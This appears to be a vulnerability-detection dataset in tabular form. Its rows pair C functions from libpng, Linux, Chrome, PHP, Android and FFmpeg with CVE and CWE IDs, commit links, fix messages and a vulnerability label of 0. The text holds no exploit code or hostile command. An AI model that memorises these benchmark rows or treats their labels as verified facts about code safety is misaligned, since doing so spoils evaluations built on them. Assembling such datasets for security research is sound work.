init_standard_palette(png_store *ps, png_structp pp, png_infop pi, int npalette, int do_tRNS) { store_palette_entry *ppal = make_standard_palette(ps, npalette, do_tRNS); { int i; png_color palette[256]; /* Set all entries to detect overread errors. */ for (i=0; i<npalette; ++i) { palette[i].red = ppal[i].red; palette[i].green = ppal[i].green; palette[i].blue = ppal[i].blue; } /* Just in case fill in the rest with detectable values: */ for (; i<256; ++i) palette[i].red = palette[i].green = palette[i].blue = 42; png_set_PLTE(pp, pi, palette, npalette); } if (do_tRNS) { int i, j; png_byte tRNS[256]; /* Set all the entries, but skip trailing opaque entries */ for (i=j=0; i<npalette; ++i) if ((tRNS[i] = ppal[i].alpha) < 255) j = i+1; /* Fill in the remainder with a detectable value: */ for (; i<256; ++i) tRNS[i] = 24; # ifdef PNG_WRITE_tRNS_SUPPORTED if (j > 0) png_set_tRNS(pp, pi, tRNS, j, 0/*color*/); # endif } }
init_standard_palette(png_store *ps, png_structp pp, png_infop pi, int npalette, int do_tRNS) { store_palette_entry *ppal = make_standard_palette(ps, npalette, do_tRNS); { int i; png_color palette[256]; /* Set all entries to detect overread errors. */ for (i=0; i<npalette; ++i) { palette[i].red = ppal[i].red; palette[i].green = ppal[i].green; palette[i].blue = ppal[i].blue; } /* Just in case fill in the rest with detectable values: */ for (; i<256; ++i) palette[i].red = palette[i].green = palette[i].blue = 42; png_set_PLTE(pp, pi, palette, npalette); } if (do_tRNS) { int i, j; png_byte tRNS[256]; /* Set all the entries, but skip trailing opaque entries */ for (i=j=0; i<npalette; ++i) if ((tRNS[i] = ppal[i].alpha) < 255) j = i+1; /* Fill in the remainder with a detectable value: */ for (; i<256; ++i) tRNS[i] = 24; # ifdef PNG_WRITE_tRNS_SUPPORTED if (j > 0) png_set_tRNS(pp, pi, tRNS, j, 0/*color*/); # endif } }
C
Android
0
CVE-2012-0044
https://www.cvedetails.com/cve/CVE-2012-0044/
CWE-189
https://github.com/torvalds/linux/commit/a5cd335165e31db9dbab636fd29895d41da55dd2
a5cd335165e31db9dbab636fd29895d41da55dd2
drm: integer overflow in drm_mode_dirtyfb_ioctl() There is a potential integer overflow in drm_mode_dirtyfb_ioctl() if userspace passes in a large num_clips. The call to kmalloc would allocate a small buffer, and the call to fb->funcs->dirty may result in a memory corruption. Reported-by: Haogang Chen <[email protected]> Signed-off-by: Xi Wang <[email protected]> Cc: [email protected] Signed-off-by: Dave Airlie <[email protected]>
int drm_mode_setcrtc(struct drm_device *dev, void *data, struct drm_file *file_priv) { struct drm_mode_config *config = &dev->mode_config; struct drm_mode_crtc *crtc_req = data; struct drm_mode_object *obj; struct drm_crtc *crtc, *crtcfb; struct drm_connector **connector_set = NULL, *connector; struct drm_framebuffer *fb = NULL; struct drm_display_mode *mode = NULL; struct drm_mode_set set; uint32_t __user *set_connectors_ptr; int ret = 0; int i; if (!drm_core_check_feature(dev, DRIVER_MODESET)) return -EINVAL; mutex_lock(&dev->mode_config.mutex); obj = drm_mode_object_find(dev, crtc_req->crtc_id, DRM_MODE_OBJECT_CRTC); if (!obj) { DRM_DEBUG_KMS("Unknown CRTC ID %d\n", crtc_req->crtc_id); ret = -EINVAL; goto out; } crtc = obj_to_crtc(obj); DRM_DEBUG_KMS("[CRTC:%d]\n", crtc->base.id); if (crtc_req->mode_valid) { /* If we have a mode we need a framebuffer. */ /* If we pass -1, set the mode with the currently bound fb */ if (crtc_req->fb_id == -1) { list_for_each_entry(crtcfb, &dev->mode_config.crtc_list, head) { if (crtcfb == crtc) { DRM_DEBUG_KMS("Using current fb for " "setmode\n"); fb = crtc->fb; } } } else { obj = drm_mode_object_find(dev, crtc_req->fb_id, DRM_MODE_OBJECT_FB); if (!obj) { DRM_DEBUG_KMS("Unknown FB ID%d\n", crtc_req->fb_id); ret = -EINVAL; goto out; } fb = obj_to_fb(obj); } mode = drm_mode_create(dev); drm_crtc_convert_umode(mode, &crtc_req->mode); drm_mode_set_crtcinfo(mode, CRTC_INTERLACE_HALVE_V); } if (crtc_req->count_connectors == 0 && mode) { DRM_DEBUG_KMS("Count connectors is 0 but mode set\n"); ret = -EINVAL; goto out; } if (crtc_req->count_connectors > 0 && (!mode || !fb)) { DRM_DEBUG_KMS("Count connectors is %d but no mode or fb set\n", crtc_req->count_connectors); ret = -EINVAL; goto out; } if (crtc_req->count_connectors > 0) { u32 out_id; /* Avoid unbounded kernel memory allocation */ if (crtc_req->count_connectors > config->num_connector) { ret = -EINVAL; goto out; } connector_set = kmalloc(crtc_req->count_connectors * sizeof(struct drm_connector *), GFP_KERNEL); if (!connector_set) { ret = -ENOMEM; goto out; } for (i = 0; i < crtc_req->count_connectors; i++) { set_connectors_ptr = (uint32_t *)(unsigned long)crtc_req->set_connectors_ptr; if (get_user(out_id, &set_connectors_ptr[i])) { ret = -EFAULT; goto out; } obj = drm_mode_object_find(dev, out_id, DRM_MODE_OBJECT_CONNECTOR); if (!obj) { DRM_DEBUG_KMS("Connector id %d unknown\n", out_id); ret = -EINVAL; goto out; } connector = obj_to_connector(obj); DRM_DEBUG_KMS("[CONNECTOR:%d:%s]\n", connector->base.id, drm_get_connector_name(connector)); connector_set[i] = connector; } } set.crtc = crtc; set.x = crtc_req->x; set.y = crtc_req->y; set.mode = mode; set.connectors = connector_set; set.num_connectors = crtc_req->count_connectors; set.fb = fb; ret = crtc->funcs->set_config(&set); out: kfree(connector_set); mutex_unlock(&dev->mode_config.mutex); return ret; }
int drm_mode_setcrtc(struct drm_device *dev, void *data, struct drm_file *file_priv) { struct drm_mode_config *config = &dev->mode_config; struct drm_mode_crtc *crtc_req = data; struct drm_mode_object *obj; struct drm_crtc *crtc, *crtcfb; struct drm_connector **connector_set = NULL, *connector; struct drm_framebuffer *fb = NULL; struct drm_display_mode *mode = NULL; struct drm_mode_set set; uint32_t __user *set_connectors_ptr; int ret = 0; int i; if (!drm_core_check_feature(dev, DRIVER_MODESET)) return -EINVAL; mutex_lock(&dev->mode_config.mutex); obj = drm_mode_object_find(dev, crtc_req->crtc_id, DRM_MODE_OBJECT_CRTC); if (!obj) { DRM_DEBUG_KMS("Unknown CRTC ID %d\n", crtc_req->crtc_id); ret = -EINVAL; goto out; } crtc = obj_to_crtc(obj); DRM_DEBUG_KMS("[CRTC:%d]\n", crtc->base.id); if (crtc_req->mode_valid) { /* If we have a mode we need a framebuffer. */ /* If we pass -1, set the mode with the currently bound fb */ if (crtc_req->fb_id == -1) { list_for_each_entry(crtcfb, &dev->mode_config.crtc_list, head) { if (crtcfb == crtc) { DRM_DEBUG_KMS("Using current fb for " "setmode\n"); fb = crtc->fb; } } } else { obj = drm_mode_object_find(dev, crtc_req->fb_id, DRM_MODE_OBJECT_FB); if (!obj) { DRM_DEBUG_KMS("Unknown FB ID%d\n", crtc_req->fb_id); ret = -EINVAL; goto out; } fb = obj_to_fb(obj); } mode = drm_mode_create(dev); drm_crtc_convert_umode(mode, &crtc_req->mode); drm_mode_set_crtcinfo(mode, CRTC_INTERLACE_HALVE_V); } if (crtc_req->count_connectors == 0 && mode) { DRM_DEBUG_KMS("Count connectors is 0 but mode set\n"); ret = -EINVAL; goto out; } if (crtc_req->count_connectors > 0 && (!mode || !fb)) { DRM_DEBUG_KMS("Count connectors is %d but no mode or fb set\n", crtc_req->count_connectors); ret = -EINVAL; goto out; } if (crtc_req->count_connectors > 0) { u32 out_id; /* Avoid unbounded kernel memory allocation */ if (crtc_req->count_connectors > config->num_connector) { ret = -EINVAL; goto out; } connector_set = kmalloc(crtc_req->count_connectors * sizeof(struct drm_connector *), GFP_KERNEL); if (!connector_set) { ret = -ENOMEM; goto out; } for (i = 0; i < crtc_req->count_connectors; i++) { set_connectors_ptr = (uint32_t *)(unsigned long)crtc_req->set_connectors_ptr; if (get_user(out_id, &set_connectors_ptr[i])) { ret = -EFAULT; goto out; } obj = drm_mode_object_find(dev, out_id, DRM_MODE_OBJECT_CONNECTOR); if (!obj) { DRM_DEBUG_KMS("Connector id %d unknown\n", out_id); ret = -EINVAL; goto out; } connector = obj_to_connector(obj); DRM_DEBUG_KMS("[CONNECTOR:%d:%s]\n", connector->base.id, drm_get_connector_name(connector)); connector_set[i] = connector; } } set.crtc = crtc; set.x = crtc_req->x; set.y = crtc_req->y; set.mode = mode; set.connectors = connector_set; set.num_connectors = crtc_req->count_connectors; set.fb = fb; ret = crtc->funcs->set_config(&set); out: kfree(connector_set); mutex_unlock(&dev->mode_config.mutex); return ret; }
C
linux
0
null
null
null
https://github.com/chromium/chromium/commit/8f883f2b12f68fed993671dce7fb5fb91f2229aa
8f883f2b12f68fed993671dce7fb5fb91f2229aa
Add more non client Windows messages to the list of messages not being sent to the renderer. Turns out we get WM_NCLBUTTONDOWN/UP messages at times which go to the renderer and are not acked causing the unresponsive renderer dialog to show up in Desktop Chrome Aura. BUG=335248 [email protected] TBR=jam Review URL: https://codereview.chromium.org/141103004 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@245949 0039d316-1c4b-4281-b951-d872f2087c98
void RenderWidgetHostViewAura::OnScrollEvent(ui::ScrollEvent* event) { TRACE_EVENT0("input", "RenderWidgetHostViewAura::OnScrollEvent"); if (touch_editing_client_ && touch_editing_client_->HandleInputEvent(event)) return; if (event->type() == ui::ET_SCROLL) { #if !defined(OS_WIN) if (event->finger_count() != 2) return; #endif blink::WebGestureEvent gesture_event = MakeWebGestureEventFlingCancel(); host_->ForwardGestureEvent(gesture_event); blink::WebMouseWheelEvent mouse_wheel_event = MakeWebMouseWheelEvent(event); host_->ForwardWheelEvent(mouse_wheel_event); RecordAction(base::UserMetricsAction("TrackpadScroll")); } else if (event->type() == ui::ET_SCROLL_FLING_START || event->type() == ui::ET_SCROLL_FLING_CANCEL) { blink::WebGestureEvent gesture_event = MakeWebGestureEvent(event); host_->ForwardGestureEvent(gesture_event); if (event->type() == ui::ET_SCROLL_FLING_START) RecordAction(base::UserMetricsAction("TrackpadScrollFling")); } event->SetHandled(); }
void RenderWidgetHostViewAura::OnScrollEvent(ui::ScrollEvent* event) { TRACE_EVENT0("input", "RenderWidgetHostViewAura::OnScrollEvent"); if (touch_editing_client_ && touch_editing_client_->HandleInputEvent(event)) return; if (event->type() == ui::ET_SCROLL) { #if !defined(OS_WIN) if (event->finger_count() != 2) return; #endif blink::WebGestureEvent gesture_event = MakeWebGestureEventFlingCancel(); host_->ForwardGestureEvent(gesture_event); blink::WebMouseWheelEvent mouse_wheel_event = MakeWebMouseWheelEvent(event); host_->ForwardWheelEvent(mouse_wheel_event); RecordAction(base::UserMetricsAction("TrackpadScroll")); } else if (event->type() == ui::ET_SCROLL_FLING_START || event->type() == ui::ET_SCROLL_FLING_CANCEL) { blink::WebGestureEvent gesture_event = MakeWebGestureEvent(event); host_->ForwardGestureEvent(gesture_event); if (event->type() == ui::ET_SCROLL_FLING_START) RecordAction(base::UserMetricsAction("TrackpadScrollFling")); } event->SetHandled(); }
C
Chrome
0
CVE-2015-1352
https://www.cvedetails.com/cve/CVE-2015-1352/
null
https://git.php.net/?p=php-src.git;a=commit;h=124fb22a13fafa3648e4e15b4f207c7096d8155e
124fb22a13fafa3648e4e15b4f207c7096d8155e
null
PHP_FUNCTION(pg_cancel_query) { php_pgsql_do_async(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_PG_ASYNC_REQUEST_CANCEL); }
PHP_FUNCTION(pg_cancel_query) { php_pgsql_do_async(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_PG_ASYNC_REQUEST_CANCEL); }
C
php
0
CVE-2016-5170
https://www.cvedetails.com/cve/CVE-2016-5170/
CWE-416
https://github.com/chromium/chromium/commit/c3957448cfc6e299165196a33cd954b790875fdb
c3957448cfc6e299165196a33cd954b790875fdb
Cleanup and remove dead code in SetFocusedElement This early-out was added in: https://crrev.com/ce8ea3446283965c7eabab592cbffe223b1cf2bc Back then, we applied fragment focus in LayoutUpdated() which could cause this issue. This got cleaned up in: https://crrev.com/45236fd563e9df53dc45579be1f3d0b4784885a2 so that focus is no longer applied after layout. +Cleanup: Goto considered harmful Bug: 795381 Change-Id: Ifeb4d2e03e872fd48cca6720b1d4de36ad1ecbb7 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1524417 Commit-Queue: David Bokan <[email protected]> Reviewed-by: Stefan Zager <[email protected]> Cr-Commit-Position: refs/heads/master@{#641101}
Node* EventTargetNodeForDocument(Document* doc) { if (!doc) return nullptr; Node* node = doc->FocusedElement(); if (!node && doc->IsPluginDocument()) { PluginDocument* plugin_document = ToPluginDocument(doc); node = plugin_document->PluginNode(); } if (!node && doc->IsHTMLDocument()) node = doc->body(); if (!node) node = doc->documentElement(); return node; }
Node* EventTargetNodeForDocument(Document* doc) { if (!doc) return nullptr; Node* node = doc->FocusedElement(); if (!node && doc->IsPluginDocument()) { PluginDocument* plugin_document = ToPluginDocument(doc); node = plugin_document->PluginNode(); } if (!node && doc->IsHTMLDocument()) node = doc->body(); if (!node) node = doc->documentElement(); return node; }
C
Chrome
0
CVE-2016-3837
https://www.cvedetails.com/cve/CVE-2016-3837/
CWE-200
https://android.googlesource.com/platform/frameworks/opt/net/wifi/+/a209ff12ba9617c10550678ff93d01fb72a33399
a209ff12ba9617c10550678ff93d01fb72a33399
Deal correctly with short strings The parseMacAddress function anticipates only properly formed MAC addresses (6 hexadecimal octets separated by ":"). This change properly deals with situations where the string is shorter than expected, making sure that the passed in char* reference in parseHexByte never exceeds the end of the string. BUG: 28164077 TEST: Added a main function: int main(int argc, char **argv) { unsigned char addr[6]; if (argc > 1) { memset(addr, 0, sizeof(addr)); parseMacAddress(argv[1], addr); printf("Result: %02x:%02x:%02x:%02x:%02x:%02x\n", addr[0], addr[1], addr[2], addr[3], addr[4], addr[5]); } } Tested with "", "a" "ab" "ab:c" "abxc". Change-Id: I0db8d0037e48b62333d475296a45b22ab0efe386
static jboolean android_net_wifi_set_Country_Code_Hal(JNIEnv *env,jclass cls, jint iface, jstring country_code) { JNIHelper helper(env); wifi_interface_handle handle = getIfaceHandle(helper, cls, iface); ScopedUtfChars chars(env, country_code); const char *country = chars.c_str(); ALOGD("set country code: %s", country); wifi_error res = hal_fn.wifi_set_country_code(handle, country); return res == WIFI_SUCCESS; }
static jboolean android_net_wifi_set_Country_Code_Hal(JNIEnv *env,jclass cls, jint iface, jstring country_code) { JNIHelper helper(env); wifi_interface_handle handle = getIfaceHandle(helper, cls, iface); ScopedUtfChars chars(env, country_code); const char *country = chars.c_str(); ALOGD("set country code: %s", country); wifi_error res = hal_fn.wifi_set_country_code(handle, country); return res == WIFI_SUCCESS; }
C
Android
0
CVE-2014-3173
https://www.cvedetails.com/cve/CVE-2014-3173/
CWE-119
https://github.com/chromium/chromium/commit/ee7579229ff7e9e5ae28bf53aea069251499d7da
ee7579229ff7e9e5ae28bf53aea069251499d7da
Framebuffer clear() needs to consider the situation some draw buffers are disabled. This is when we expose DrawBuffers extension. BUG=376951 TEST=the attached test case, webgl conformance [email protected],[email protected] Review URL: https://codereview.chromium.org/315283002 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@275338 0039d316-1c4b-4281-b951-d872f2087c98
bool GLES2DecoderImpl::SimulateFixedAttribs( const char* function_name, GLuint max_vertex_accessed, bool* simulated, GLsizei primcount) { DCHECK(simulated); *simulated = false; if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2) return true; if (!state_.vertex_attrib_manager->HaveFixedAttribs()) { return true; } LOCAL_PERFORMANCE_WARNING( "GL_FIXED attributes have a signficant performance penalty"); GLuint elements_needed = 0; const VertexAttribManager::VertexAttribList& enabled_attribs = state_.vertex_attrib_manager->GetEnabledVertexAttribs(); for (VertexAttribManager::VertexAttribList::const_iterator it = enabled_attribs.begin(); it != enabled_attribs.end(); ++it) { const VertexAttrib* attrib = *it; const Program::VertexAttrib* attrib_info = state_.current_program->GetAttribInfoByLocation(attrib->index()); GLuint max_accessed = attrib->MaxVertexAccessed(primcount, max_vertex_accessed); GLuint num_vertices = max_accessed + 1; if (num_vertices == 0) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0"); return false; } if (attrib_info && attrib->CanAccess(max_accessed) && attrib->type() == GL_FIXED) { uint32 elements_used = 0; if (!SafeMultiplyUint32(num_vertices, attrib->size(), &elements_used) || !SafeAddUint32(elements_needed, elements_used, &elements_needed)) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs"); return false; } } } const uint32 kSizeOfFloat = sizeof(float); // NOLINT uint32 size_needed = 0; if (!SafeMultiplyUint32(elements_needed, kSizeOfFloat, &size_needed) || size_needed > 0x7FFFFFFFU) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs"); return false; } LOCAL_COPY_REAL_GL_ERRORS_TO_WRAPPER(function_name); glBindBuffer(GL_ARRAY_BUFFER, fixed_attrib_buffer_id_); if (static_cast<GLsizei>(size_needed) > fixed_attrib_buffer_size_) { glBufferData(GL_ARRAY_BUFFER, size_needed, NULL, GL_DYNAMIC_DRAW); GLenum error = glGetError(); if (error != GL_NO_ERROR) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs"); return false; } } GLintptr offset = 0; for (VertexAttribManager::VertexAttribList::const_iterator it = enabled_attribs.begin(); it != enabled_attribs.end(); ++it) { const VertexAttrib* attrib = *it; const Program::VertexAttrib* attrib_info = state_.current_program->GetAttribInfoByLocation(attrib->index()); GLuint max_accessed = attrib->MaxVertexAccessed(primcount, max_vertex_accessed); GLuint num_vertices = max_accessed + 1; if (num_vertices == 0) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0"); return false; } if (attrib_info && attrib->CanAccess(max_accessed) && attrib->type() == GL_FIXED) { int num_elements = attrib->size() * kSizeOfFloat; int size = num_elements * num_vertices; scoped_ptr<float[]> data(new float[size]); const int32* src = reinterpret_cast<const int32 *>( attrib->buffer()->GetRange(attrib->offset(), size)); const int32* end = src + num_elements; float* dst = data.get(); while (src != end) { *dst++ = static_cast<float>(*src++) / 65536.0f; } glBufferSubData(GL_ARRAY_BUFFER, offset, size, data.get()); glVertexAttribPointer( attrib->index(), attrib->size(), GL_FLOAT, false, 0, reinterpret_cast<GLvoid*>(offset)); offset += size; } } *simulated = true; return true; }
bool GLES2DecoderImpl::SimulateFixedAttribs( const char* function_name, GLuint max_vertex_accessed, bool* simulated, GLsizei primcount) { DCHECK(simulated); *simulated = false; if (gfx::GetGLImplementation() == gfx::kGLImplementationEGLGLES2) return true; if (!state_.vertex_attrib_manager->HaveFixedAttribs()) { return true; } LOCAL_PERFORMANCE_WARNING( "GL_FIXED attributes have a signficant performance penalty"); GLuint elements_needed = 0; const VertexAttribManager::VertexAttribList& enabled_attribs = state_.vertex_attrib_manager->GetEnabledVertexAttribs(); for (VertexAttribManager::VertexAttribList::const_iterator it = enabled_attribs.begin(); it != enabled_attribs.end(); ++it) { const VertexAttrib* attrib = *it; const Program::VertexAttrib* attrib_info = state_.current_program->GetAttribInfoByLocation(attrib->index()); GLuint max_accessed = attrib->MaxVertexAccessed(primcount, max_vertex_accessed); GLuint num_vertices = max_accessed + 1; if (num_vertices == 0) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0"); return false; } if (attrib_info && attrib->CanAccess(max_accessed) && attrib->type() == GL_FIXED) { uint32 elements_used = 0; if (!SafeMultiplyUint32(num_vertices, attrib->size(), &elements_used) || !SafeAddUint32(elements_needed, elements_used, &elements_needed)) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs"); return false; } } } const uint32 kSizeOfFloat = sizeof(float); // NOLINT uint32 size_needed = 0; if (!SafeMultiplyUint32(elements_needed, kSizeOfFloat, &size_needed) || size_needed > 0x7FFFFFFFU) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs"); return false; } LOCAL_COPY_REAL_GL_ERRORS_TO_WRAPPER(function_name); glBindBuffer(GL_ARRAY_BUFFER, fixed_attrib_buffer_id_); if (static_cast<GLsizei>(size_needed) > fixed_attrib_buffer_size_) { glBufferData(GL_ARRAY_BUFFER, size_needed, NULL, GL_DYNAMIC_DRAW); GLenum error = glGetError(); if (error != GL_NO_ERROR) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "simulating GL_FIXED attribs"); return false; } } GLintptr offset = 0; for (VertexAttribManager::VertexAttribList::const_iterator it = enabled_attribs.begin(); it != enabled_attribs.end(); ++it) { const VertexAttrib* attrib = *it; const Program::VertexAttrib* attrib_info = state_.current_program->GetAttribInfoByLocation(attrib->index()); GLuint max_accessed = attrib->MaxVertexAccessed(primcount, max_vertex_accessed); GLuint num_vertices = max_accessed + 1; if (num_vertices == 0) { LOCAL_SET_GL_ERROR( GL_OUT_OF_MEMORY, function_name, "Simulating attrib 0"); return false; } if (attrib_info && attrib->CanAccess(max_accessed) && attrib->type() == GL_FIXED) { int num_elements = attrib->size() * kSizeOfFloat; int size = num_elements * num_vertices; scoped_ptr<float[]> data(new float[size]); const int32* src = reinterpret_cast<const int32 *>( attrib->buffer()->GetRange(attrib->offset(), size)); const int32* end = src + num_elements; float* dst = data.get(); while (src != end) { *dst++ = static_cast<float>(*src++) / 65536.0f; } glBufferSubData(GL_ARRAY_BUFFER, offset, size, data.get()); glVertexAttribPointer( attrib->index(), attrib->size(), GL_FLOAT, false, 0, reinterpret_cast<GLvoid*>(offset)); offset += size; } } *simulated = true; return true; }
C
Chrome
0
CVE-2018-9511
https://www.cvedetails.com/cve/CVE-2018-9511/
CWE-909
https://android.googlesource.com/platform/system/netd/+/931418b16c7197ca2df34c2a5609e49791125abe
931418b16c7197ca2df34c2a5609e49791125abe
Set optlen for UDP-encap check in XfrmController When setting the socket owner for an encap socket XfrmController will first attempt to verify that the socket has the UDP-encap socket option set. When doing so it would pass in an uninitialized optlen parameter which could cause the call to not modify the option value if the optlen happened to be too short. So for example if the stack happened to contain a zero where optlen was located the check would fail and the socket owner would not be changed. Fix this by setting optlen to the size of the option value parameter. Test: run cts -m CtsNetTestCases BUG: 111650288 Change-Id: I57b6e9dba09c1acda71e3ec2084652e961667bd9 (cherry picked from commit fc42a105147310bd680952d4b71fe32974bd8506)
const char* xfrmMsgTypeToString(uint16_t msg) { switch (msg) { XFRM_MSG_TRANS(XFRM_MSG_NEWSA) XFRM_MSG_TRANS(XFRM_MSG_DELSA) XFRM_MSG_TRANS(XFRM_MSG_GETSA) XFRM_MSG_TRANS(XFRM_MSG_NEWPOLICY) XFRM_MSG_TRANS(XFRM_MSG_DELPOLICY) XFRM_MSG_TRANS(XFRM_MSG_GETPOLICY) XFRM_MSG_TRANS(XFRM_MSG_ALLOCSPI) XFRM_MSG_TRANS(XFRM_MSG_ACQUIRE) XFRM_MSG_TRANS(XFRM_MSG_EXPIRE) XFRM_MSG_TRANS(XFRM_MSG_UPDPOLICY) XFRM_MSG_TRANS(XFRM_MSG_UPDSA) XFRM_MSG_TRANS(XFRM_MSG_POLEXPIRE) XFRM_MSG_TRANS(XFRM_MSG_FLUSHSA) XFRM_MSG_TRANS(XFRM_MSG_FLUSHPOLICY) XFRM_MSG_TRANS(XFRM_MSG_NEWAE) XFRM_MSG_TRANS(XFRM_MSG_GETAE) XFRM_MSG_TRANS(XFRM_MSG_REPORT) XFRM_MSG_TRANS(XFRM_MSG_MIGRATE) XFRM_MSG_TRANS(XFRM_MSG_NEWSADINFO) XFRM_MSG_TRANS(XFRM_MSG_GETSADINFO) XFRM_MSG_TRANS(XFRM_MSG_GETSPDINFO) XFRM_MSG_TRANS(XFRM_MSG_NEWSPDINFO) XFRM_MSG_TRANS(XFRM_MSG_MAPPING) default: return "XFRM_MSG UNKNOWN"; } }
const char* xfrmMsgTypeToString(uint16_t msg) { switch (msg) { XFRM_MSG_TRANS(XFRM_MSG_NEWSA) XFRM_MSG_TRANS(XFRM_MSG_DELSA) XFRM_MSG_TRANS(XFRM_MSG_GETSA) XFRM_MSG_TRANS(XFRM_MSG_NEWPOLICY) XFRM_MSG_TRANS(XFRM_MSG_DELPOLICY) XFRM_MSG_TRANS(XFRM_MSG_GETPOLICY) XFRM_MSG_TRANS(XFRM_MSG_ALLOCSPI) XFRM_MSG_TRANS(XFRM_MSG_ACQUIRE) XFRM_MSG_TRANS(XFRM_MSG_EXPIRE) XFRM_MSG_TRANS(XFRM_MSG_UPDPOLICY) XFRM_MSG_TRANS(XFRM_MSG_UPDSA) XFRM_MSG_TRANS(XFRM_MSG_POLEXPIRE) XFRM_MSG_TRANS(XFRM_MSG_FLUSHSA) XFRM_MSG_TRANS(XFRM_MSG_FLUSHPOLICY) XFRM_MSG_TRANS(XFRM_MSG_NEWAE) XFRM_MSG_TRANS(XFRM_MSG_GETAE) XFRM_MSG_TRANS(XFRM_MSG_REPORT) XFRM_MSG_TRANS(XFRM_MSG_MIGRATE) XFRM_MSG_TRANS(XFRM_MSG_NEWSADINFO) XFRM_MSG_TRANS(XFRM_MSG_GETSADINFO) XFRM_MSG_TRANS(XFRM_MSG_GETSPDINFO) XFRM_MSG_TRANS(XFRM_MSG_NEWSPDINFO) XFRM_MSG_TRANS(XFRM_MSG_MAPPING) default: return "XFRM_MSG UNKNOWN"; } }
C
Android
0
CVE-2016-5093
https://www.cvedetails.com/cve/CVE-2016-5093/
CWE-125
https://github.com/php/php-src/commit/97eff7eb57fc2320c267a949cffd622c38712484?w=1
97eff7eb57fc2320c267a949cffd622c38712484?w=1
Fix bug #72241: get_icu_value_internal out-of-bounds read
static int strToMatch(const char* str ,char *retstr) { char* anchor = NULL; const char* anchor1 = NULL; int result = 0; if( (!str) || str[0] == '\0'){ return result; } else { anchor = retstr; anchor1 = str; while( (*str)!='\0' ){ if( *str == '-' ){ *retstr = '_'; } else { *retstr = tolower(*str); } str++; retstr++; } *retstr = '\0'; retstr= anchor; str= anchor1; result = 1; } return(result); }
static int strToMatch(const char* str ,char *retstr) { char* anchor = NULL; const char* anchor1 = NULL; int result = 0; if( (!str) || str[0] == '\0'){ return result; } else { anchor = retstr; anchor1 = str; while( (*str)!='\0' ){ if( *str == '-' ){ *retstr = '_'; } else { *retstr = tolower(*str); } str++; retstr++; } *retstr = '\0'; retstr= anchor; str= anchor1; result = 1; } return(result); }
C
php-src
0
CVE-2018-12460
https://www.cvedetails.com/cve/CVE-2018-12460/
CWE-476
https://github.com/FFmpeg/FFmpeg/commit/b3332a182f8ba33a34542e4a0370f38b914ccf7d
b3332a182f8ba33a34542e4a0370f38b914ccf7d
avcodec/idctdsp: Transmit studio_profile to init instead of using AVCodecContext profile These 2 fields are not always the same, it is simpler to always use the same field for detecting studio profile Fixes: null pointer dereference Fixes: ffmpeg_crash_3.avi Found-by: Thuan Pham <[email protected]>, Marcel Böhme, Andrew Santosa and Alexandru RazvanCaciulescu with AFLSmart Signed-off-by: Michael Niedermayer <[email protected]>
static void dct_unquantize_mpeg1_intra_c(MpegEncContext *s, int16_t *block, int n, int qscale) { int i, level, nCoeffs; const uint16_t *quant_matrix; nCoeffs= s->block_last_index[n]; block[0] *= n < 4 ? s->y_dc_scale : s->c_dc_scale; /* XXX: only MPEG-1 */ quant_matrix = s->intra_matrix; for(i=1;i<=nCoeffs;i++) { int j= s->intra_scantable.permutated[i]; level = block[j]; if (level) { if (level < 0) { level = -level; level = (int)(level * qscale * quant_matrix[j]) >> 3; level = (level - 1) | 1; level = -level; } else { level = (int)(level * qscale * quant_matrix[j]) >> 3; level = (level - 1) | 1; } block[j] = level; } } }
static void dct_unquantize_mpeg1_intra_c(MpegEncContext *s, int16_t *block, int n, int qscale) { int i, level, nCoeffs; const uint16_t *quant_matrix; nCoeffs= s->block_last_index[n]; block[0] *= n < 4 ? s->y_dc_scale : s->c_dc_scale; /* XXX: only MPEG-1 */ quant_matrix = s->intra_matrix; for(i=1;i<=nCoeffs;i++) { int j= s->intra_scantable.permutated[i]; level = block[j]; if (level) { if (level < 0) { level = -level; level = (int)(level * qscale * quant_matrix[j]) >> 3; level = (level - 1) | 1; level = -level; } else { level = (int)(level * qscale * quant_matrix[j]) >> 3; level = (level - 1) | 1; } block[j] = level; } } }
C
FFmpeg
0
CVE-2017-7533
https://www.cvedetails.com/cve/CVE-2017-7533/
CWE-362
https://github.com/torvalds/linux/commit/49d31c2f389acfe83417083e1208422b4091cd9e
49d31c2f389acfe83417083e1208422b4091cd9e
dentry name snapshots take_dentry_name_snapshot() takes a safe snapshot of dentry name; if the name is a short one, it gets copied into caller-supplied structure, otherwise an extra reference to external name is grabbed (those are never modified). In either case the pointer to stable string is stored into the same structure. dentry must be held by the caller of take_dentry_name_snapshot(), but may be freely dropped afterwards - the snapshot will stay until destroyed by release_dentry_name_snapshot(). Intended use: struct name_snapshot s; take_dentry_name_snapshot(&s, dentry); ... access s.name ... release_dentry_name_snapshot(&s); Replaces fsnotify_oldname_...(), gets used in fsnotify to obtain the name to pass down with event. Signed-off-by: Al Viro <[email protected]>
long prune_dcache_sb(struct super_block *sb, struct shrink_control *sc) { LIST_HEAD(dispose); long freed; freed = list_lru_shrink_walk(&sb->s_dentry_lru, sc, dentry_lru_isolate, &dispose); shrink_dentry_list(&dispose); return freed; }
long prune_dcache_sb(struct super_block *sb, struct shrink_control *sc) { LIST_HEAD(dispose); long freed; freed = list_lru_shrink_walk(&sb->s_dentry_lru, sc, dentry_lru_isolate, &dispose); shrink_dentry_list(&dispose); return freed; }
C
linux
0
CVE-2012-2895
https://www.cvedetails.com/cve/CVE-2012-2895/
CWE-119
